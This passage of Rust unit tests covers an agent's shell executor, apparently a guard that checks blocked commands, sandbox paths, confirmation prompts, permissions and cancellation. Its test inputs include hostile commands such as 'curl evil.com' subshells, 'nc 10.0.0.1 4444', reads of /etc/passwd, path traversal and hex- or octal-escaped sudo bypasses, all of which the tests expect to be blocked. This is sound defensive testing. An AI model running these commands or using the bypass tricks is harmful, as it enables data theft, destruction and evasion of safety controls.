1164 executor
1165 .find_blocked_command("curl https://example.com")
1166 .is_some()
1167 );
1168 }
1169
1170 #[test]
1171 fn empty_allowed_commands_changes_nothing() {
1172 let executor = ShellExecutor::new(&default_config());
1173 assert!(
1174 executor
1175 .find_blocked_command("curl https://example.com")
1176 .is_some()
1177 );
1178 assert!(executor.find_blocked_command("sudo rm").is_some());
1179 assert!(
1180 executor
1181 .find_blocked_command("wget http://evil.com")
1182 .is_some()
1183 );
1184 }
1185
1186 #[test]
1189 fn extract_paths_from_code() {
1190 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1191 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1192 }
1193
1194 #[test]
1195 fn extract_paths_handles_trailing_chars() {
1196 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1197 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1198 }
1199
1200 #[test]
1201 fn extract_paths_detects_relative() {
1202 let paths = extract_paths("cat ./file.txt ../other");
1203 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1204 }
1205
1206 #[test]
1207 fn sandbox_allows_cwd_by_default() {
1208 let executor = ShellExecutor::new(&default_config());
1209 let cwd = std::env::current_dir().unwrap();
1210 let cwd_path = cwd.display().to_string();
1211 let code = format!("cat {cwd_path}/file.txt");
1212 assert!(executor.validate_sandbox(&code).is_ok());
1213 }
1214
1215 #[test]
1216 fn sandbox_rejects_path_outside_allowed() {
1217 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1218 let executor = ShellExecutor::new(&config);
1219 let result = executor.validate_sandbox("cat /etc/passwd");
1220 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1221 }
1222
1223 #[test]
1224 fn sandbox_no_absolute_paths_passes() {
1225 let config = sandbox_config(vec!["/tmp".into()]);
1226 let executor = ShellExecutor::new(&config);
1227 assert!(executor.validate_sandbox("echo hello").is_ok());
1228 }
1229
1230 #[test]
1231 fn sandbox_rejects_dotdot_traversal() {
1232 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1233 let executor = ShellExecutor::new(&config);
1234 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1235 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1236 }
1237
1238 #[test]
1239 fn sandbox_rejects_bare_dotdot() {
1240 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1241 let executor = ShellExecutor::new(&config);
1242 let result = executor.validate_sandbox("cd ..");
1243 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1244 }
1245
1246 #[test]
1247 fn sandbox_rejects_relative_dotslash_outside() {
1248 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1249 let executor = ShellExecutor::new(&config);
1250 let result = executor.validate_sandbox("cat ./secret.txt");
1251 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1252 }
1253
1254 #[test]
1255 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1256 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1257 let executor = ShellExecutor::new(&config);
1258 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1259 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1260 }
1261
1262 #[test]
1263 fn has_traversal_detects_dotdot() {
1264 assert!(has_traversal("../etc/passwd"));
1265 assert!(has_traversal("./foo/../bar"));
1266 assert!(has_traversal("/tmp/sandbox/../../etc"));
1267 assert!(has_traversal(".."));
1268 assert!(!has_traversal("./safe/path"));
1269 assert!(!has_traversal("/absolute/path"));
1270 assert!(!has_traversal("no-dots-here"));
1271 }
1272
1273 #[test]
1274 fn extract_paths_detects_dotdot_standalone() {
1275 let paths = extract_paths("cd ..");
1276 assert_eq!(paths, vec!["..".to_owned()]);
1277 }
1278
1279 #[test]
1282 fn allow_network_false_blocks_network_commands() {
1283 let config = ShellConfig {
1284 allow_network: false,
1285 ..default_config()
1286 };
1287 let executor = ShellExecutor::new(&config);
1288 assert!(
1289 executor
1290 .find_blocked_command("curl https://example.com")
1291 .is_some()
1292 );
1293 assert!(
1294 executor
1295 .find_blocked_command("wget http://example.com")
1296 .is_some()
1297 );
1298 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1299 }
1300
1301 #[test]
1302 fn allow_network_true_keeps_default_behavior() {
1303 let config = ShellConfig {
1304 allow_network: true,
1305 ..default_config()
1306 };
1307 let executor = ShellExecutor::new(&config);
1308 assert!(
1310 executor
1311 .find_blocked_command("curl https://example.com")
1312 .is_some()
1313 );
1314 }
1315
1316 #[test]
1319 fn find_confirm_command_matches_pattern() {
1320 let config = ShellConfig {
1321 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1322 ..default_config()
1323 };
1324 let executor = ShellExecutor::new(&config);
1325 assert_eq!(
1326 executor.find_confirm_command("rm /tmp/file.txt"),
1327 Some("rm ")
1328 );
1329 assert_eq!(
1330 executor.find_confirm_command("git push -f origin main"),
1331 Some("git push -f")
1332 );
1333 }
1334
1335 #[test]
1336 fn find_confirm_command_case_insensitive() {
1337 let config = ShellConfig {
1338 confirm_patterns: vec!["drop table".into()],
1339 ..default_config()
1340 };
1341 let executor = ShellExecutor::new(&config);
1342 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1343 }
1344
1345 #[test]
1346 fn find_confirm_command_no_match() {
1347 let config = ShellConfig {
1348 confirm_patterns: vec!["rm ".into()],
1349 ..default_config()
1350 };
1351 let executor = ShellExecutor::new(&config);
1352 assert!(executor.find_confirm_command("echo hello").is_none());
1353 }
1354
1355 #[tokio::test]
1356 async fn confirmation_required_returned() {
1357 let config = ShellConfig {
1358 confirm_patterns: vec!["rm ".into()],
1359 ..default_config()
1360 };
1361 let executor = ShellExecutor::new(&config);
1362 let response = "```bash\nrm file.txt\n```";
1363 let result = executor.execute(response).await;
1364 assert!(matches!(
1365 result,
1366 Err(ToolError::ConfirmationRequired { .. })
1367 ));
1368 }
1369
1370 #[tokio::test]
1371 async fn execute_confirmed_skips_confirmation() {
1372 let config = ShellConfig {
1373 confirm_patterns: vec!["echo".into()],
1374 ..default_config()
1375 };
1376 let executor = ShellExecutor::new(&config);
1377 let response = "```bash\necho confirmed\n```";
1378 let result = executor.execute_confirmed(response).await;
1379 assert!(result.is_ok());
1380 let output = result.unwrap().unwrap();
1381 assert!(output.summary.contains("confirmed"));
1382 }
1383
1384 #[test]
1387 fn default_confirm_patterns_loaded() {
1388 let config = ShellConfig::default();
1389 assert!(!config.confirm_patterns.is_empty());
1390 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1391 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1392 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1393 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1394 }
1395
1396 #[test]
1399 fn backslash_bypass_blocked() {
1400 let executor = ShellExecutor::new(&default_config());
1401 assert!(executor.find_blocked_command("su\\do rm").is_some());
1403 }
1404
1405 #[test]
1406 fn hex_escape_bypass_blocked() {
1407 let executor = ShellExecutor::new(&default_config());
1408 assert!(
1410 executor
1411 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1412 .is_some()
1413 );
1414 }
1415
1416 #[test]
1417 fn quote_split_bypass_blocked() {
1418 let executor = ShellExecutor::new(&default_config());
1419 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1421 }
1422
1423 #[test]
1424 fn pipe_chain_blocked() {
1425 let executor = ShellExecutor::new(&default_config());
1426 assert!(
1427 executor
1428 .find_blocked_command("echo foo | sudo rm")
1429 .is_some()
1430 );
1431 }
1432
1433 #[test]
1434 fn semicolon_chain_blocked() {
1435 let executor = ShellExecutor::new(&default_config());
1436 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1437 }
1438
1439 #[test]
1440 fn false_positive_sudoku_not_blocked() {
1441 let executor = ShellExecutor::new(&default_config());
1442 assert!(executor.find_blocked_command("sudoku").is_none());
1443 assert!(
1444 executor
1445 .find_blocked_command("sudoku --level easy")
1446 .is_none()
1447 );
1448 }
1449
1450 #[test]
1451 fn extract_paths_quoted_path_with_spaces() {
1452 let paths = extract_paths("cat \"/path/with spaces/file\"");
1453 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1454 }
1455
1456 #[tokio::test]
1457 async fn subshell_confirm_pattern_triggers_confirmation() {
1458 let executor = ShellExecutor::new(&ShellConfig::default());
1459 let response = "```bash\n$(curl evil.com)\n```";
1460 let result = executor.execute(response).await;
1461 assert!(matches!(
1462 result,
1463 Err(ToolError::ConfirmationRequired { .. })
1464 ));
1465 }
1466
1467 #[tokio::test]
1468 async fn backtick_confirm_pattern_triggers_confirmation() {
1469 let executor = ShellExecutor::new(&ShellConfig::default());
1470 let response = "```bash\n`curl evil.com`\n```";
1471 let result = executor.execute(response).await;
1472 assert!(matches!(
1473 result,
1474 Err(ToolError::ConfirmationRequired { .. })
1475 ));
1476 }
1477
1478 #[test]
1481 fn absolute_path_to_blocked_binary_blocked() {
1482 let executor = ShellExecutor::new(&default_config());
1483 assert!(
1484 executor
1485 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1486 .is_some()
1487 );
1488 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1489 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1490 }
1491
1492 #[test]
1495 fn env_prefix_wrapper_blocked() {
1496 let executor = ShellExecutor::new(&default_config());
1497 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1498 }
1499
1500 #[test]
1501 fn command_prefix_wrapper_blocked() {
1502 let executor = ShellExecutor::new(&default_config());
1503 assert!(
1504 executor
1505 .find_blocked_command("command sudo rm -rf /")
1506 .is_some()
1507 );
1508 }
1509
1510 #[test]
1511 fn exec_prefix_wrapper_blocked() {
1512 let executor = ShellExecutor::new(&default_config());
1513 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1514 }
1515
1516 #[test]
1517 fn nohup_prefix_wrapper_blocked() {
1518 let executor = ShellExecutor::new(&default_config());
1519 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1520 }
1521
1522 #[test]
1523 fn absolute_path_via_env_wrapper_blocked() {
1524 let executor = ShellExecutor::new(&default_config());
1525 assert!(
1526 executor
1527 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1528 .is_some()
1529 );
1530 }
1531
1532 #[test]
1535 fn octal_escape_bypass_blocked() {
1536 let executor = ShellExecutor::new(&default_config());
1537 assert!(
1539 executor
1540 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1541 .is_some()
1542 );
1543 }
1544
1545 #[tokio::test]
1546 async fn with_audit_attaches_logger() {
1547 use crate::audit::AuditLogger;
1548 use crate::config::AuditConfig;
1549 let config = default_config();
1550 let executor = ShellExecutor::new(&config);
1551 let audit_config = AuditConfig {
1552 enabled: true,
1553 destination: "stdout".into(),
1554 };
1555 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1556 let executor = executor.with_audit(logger);
1557 assert!(executor.audit_logger.is_some());
1558 }
1559
1560 #[test]
1561 fn chrono_now_returns_valid_timestamp() {
1562 let ts = chrono_now();
1563 assert!(!ts.is_empty());
1564 let parsed: u64 = ts.parse().unwrap();
1565 assert!(parsed > 0);
1566 }
1567
1568 #[cfg(unix)]
1569 #[tokio::test]
1570 async fn execute_bash_injects_extra_env() {
1571 let mut env = std::collections::HashMap::new();
1572 env.insert(
1573 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1574 "hello-from-env".to_owned(),
1575 );
1576 let (result, code) = execute_bash(
1577 "echo $ZEPH_TEST_INJECTED_VAR",
1578 Duration::from_secs(5),
1579 None,
1580 None,
1581 Some(&env),
1582 )
1583 .await;
1584 assert_eq!(code, 0);
1585 assert!(result.contains("hello-from-env"));
1586 }
1587
1588 #[cfg(unix)]
1589 #[tokio::test]
1590 async fn shell_executor_set_skill_env_injects_vars() {
1591 let config = ShellConfig {
1592 timeout: 5,
1593 allowed_commands: vec![],
1594 blocked_commands: vec![],
1595 allowed_paths: vec![],
1596 confirm_patterns: vec![],
1597 allow_network: false,
1598 };
1599 let executor = ShellExecutor::new(&config);
1600 let mut env = std::collections::HashMap::new();
1601 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1602 executor.set_skill_env(Some(env));
1603 use crate::executor::ToolExecutor;
1604 let result = executor
1605 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1606 .await
1607 .unwrap()
1608 .unwrap();
1609 assert!(result.summary.contains("injected-value"));
1610 executor.set_skill_env(None);
1611 }
1612
1613 #[cfg(unix)]
1614 #[tokio::test]
1615 async fn execute_bash_error_handling() {
1616 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1617 assert_eq!(result, "(no output)");
1618 assert_eq!(code, 1);
1619 }
1620
1621 #[cfg(unix)]
1622 #[tokio::test]
1623 async fn execute_bash_command_not_found() {
1624 let (result, _) = execute_bash(
1625 "nonexistent-command-xyz",
1626 Duration::from_secs(5),
1627 None,
1628 None,
1629 None,
1630 )
1631 .await;
1632 assert!(result.contains("[stderr]") || result.contains("[error]"));
1633 }
1634
1635 #[test]
1636 fn extract_paths_empty() {
1637 assert!(extract_paths("").is_empty());
1638 }
1639
1640 #[tokio::test]
1641 async fn policy_deny_blocks_command() {
1642 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1643 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1644 let response = "```bash\nforbidden command\n```";
1645 let result = executor.execute(response).await;
1646 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1647 }
1648
1649 #[tokio::test]
1650 async fn policy_ask_requires_confirmation() {
1651 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1652 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1653 let response = "```bash\nrisky operation\n```";
1654 let result = executor.execute(response).await;
1655 assert!(matches!(
1656 result,
1657 Err(ToolError::ConfirmationRequired { .. })
1658 ));
1659 }
1660
1661 #[tokio::test]
1662 async fn policy_allow_skips_checks() {
1663 use crate::permissions::PermissionRule;
1664 use std::collections::HashMap;
1665 let mut rules = HashMap::new();
1666 rules.insert(
1667 "bash".to_owned(),
1668 vec![PermissionRule {
1669 pattern: "*".to_owned(),
1670 action: PermissionAction::Allow,
1671 }],
1672 );
1673 let policy = PermissionPolicy::new(rules);
1674 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1675 let response = "```bash\necho hello\n```";
1676 let result = executor.execute(response).await;
1677 assert!(result.is_ok());
1678 }
1679
1680 #[tokio::test]
1681 async fn blocked_command_logged_to_audit() {
1682 use crate::audit::AuditLogger;
1683 use crate::config::AuditConfig;
1684 let config = ShellConfig {
1685 blocked_commands: vec!["dangerous".to_owned()],
1686 ..default_config()
1687 };
1688 let audit_config = AuditConfig {
1689 enabled: true,
1690 destination: "stdout".into(),
1691 };
1692 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1693 let executor = ShellExecutor::new(&config).with_audit(logger);
1694 let response = "```bash\ndangerous command\n```";
1695 let result = executor.execute(response).await;
1696 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1697 }
1698
1699 #[test]
1700 fn tool_definitions_returns_bash() {
1701 let executor = ShellExecutor::new(&default_config());
1702 let defs = executor.tool_definitions();
1703 assert_eq!(defs.len(), 1);
1704 assert_eq!(defs[0].id, "bash");
1705 assert_eq!(
1706 defs[0].invocation,
1707 crate::registry::InvocationHint::FencedBlock("bash")
1708 );
1709 }
1710
1711 #[test]
1712 fn tool_definitions_schema_has_command_param() {
1713 let executor = ShellExecutor::new(&default_config());
1714 let defs = executor.tool_definitions();
1715 let obj = defs[0].schema.as_object().unwrap();
1716 let props = obj["properties"].as_object().unwrap();
1717 assert!(props.contains_key("command"));
1718 let req = obj["required"].as_array().unwrap();
1719 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1720 }
1721
1722 #[tokio::test]
1723 #[cfg(not(target_os = "windows"))]
1724 async fn cancel_token_kills_child_process() {
1725 let token = CancellationToken::new();
1726 let token_clone = token.clone();
1727 tokio::spawn(async move {
1728 tokio::time::sleep(Duration::from_millis(100)).await;
1729 token_clone.cancel();
1730 });
1731 let (result, code) = execute_bash(
1732 "sleep 60",
1733 Duration::from_secs(30),
1734 None,
1735 Some(&token),
1736 None,
1737 )
1738 .await;
1739 assert_eq!(code, 130);
1740 assert!(result.contains("[cancelled]"));
1741 }
1742
1743 #[tokio::test]
1744 #[cfg(not(target_os = "windows"))]
1745 async fn cancel_token_none_does_not_cancel() {
1746 let (result, code) =
1747 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1748 assert_eq!(code, 0);
1749 assert!(result.contains("ok"));
1750 }
1751
1752 #[tokio::test]
1753 #[cfg(not(target_os = "windows"))]
1754 async fn cancel_kills_child_process_group() {
1755 use std::path::Path;
1756 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1757 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1758 let token = CancellationToken::new();
1759 let token_clone = token.clone();
1760 tokio::spawn(async move {
1761 tokio::time::sleep(Duration::from_millis(200)).await;
1762 token_clone.cancel();
1763 });
1764 let (result, code) =
1765 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1766 assert_eq!(code, 130);
1767 assert!(result.contains("[cancelled]"));
1768 tokio::time::sleep(Duration::from_millis(500)).await;
1770 assert!(
1771 !Path::new(&marker).exists(),
1772 "subprocess should have been killed with process group"
1773 );
1774 }
1775
1776 #[tokio::test]
1777 #[cfg(not(target_os = "windows"))]
1778 async fn shell_executor_cancel_returns_cancelled_error() {
1779 let token = CancellationToken::new();
1780 let token_clone = token.clone();
1781 tokio::spawn(async move {
1782 tokio::time::sleep(Duration::from_millis(100)).await;
1783 token_clone.cancel();
1784 });
1785 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1786 let response = "```bash\nsleep 60\n```";
1787 let result = executor.execute(response).await;
1788 assert!(matches!(result, Err(ToolError::Cancelled)));
1789 }
1790
1791 #[tokio::test]
1792 #[cfg(not(target_os = "windows"))]
1793 async fn execute_tool_call_valid_command() {
1794 let executor = ShellExecutor::new(&default_config());
1795 let call = ToolCall {
1796 tool_id: "bash".to_owned(),
1797 params: [("command".to_owned(), serde_json::json!("echo hi"))]
1798 .into_iter()
1799 .collect(),
1800 };
1801 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1802 assert!(result.summary.contains("hi"));
1803 }
1804
1805 #[tokio::test]
1806 async fn execute_tool_call_missing_command_returns_invalid_params() {
1807 let executor = ShellExecutor::new(&default_config());
1808 let call = ToolCall {
1809 tool_id: "bash".to_owned(),
1810 params: serde_json::Map::new(),
1811 };
1812 let result = executor.execute_tool_call(&call).await;
1813 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1814 }
1815
1816 #[tokio::test]
1817 async fn execute_tool_call_empty_command_returns_none() {
1818 let executor = ShellExecutor::new(&default_config());
1819 let call = ToolCall {
1820 tool_id: "bash".to_owned(),
1821 params: [("command".to_owned(), serde_json::json!(""))]
1822 .into_iter()
1823 .collect(),
1824 };
1825 let result = executor.execute_tool_call(&call).await.unwrap();
1826 assert!(result.is_none());
1827 }
1828}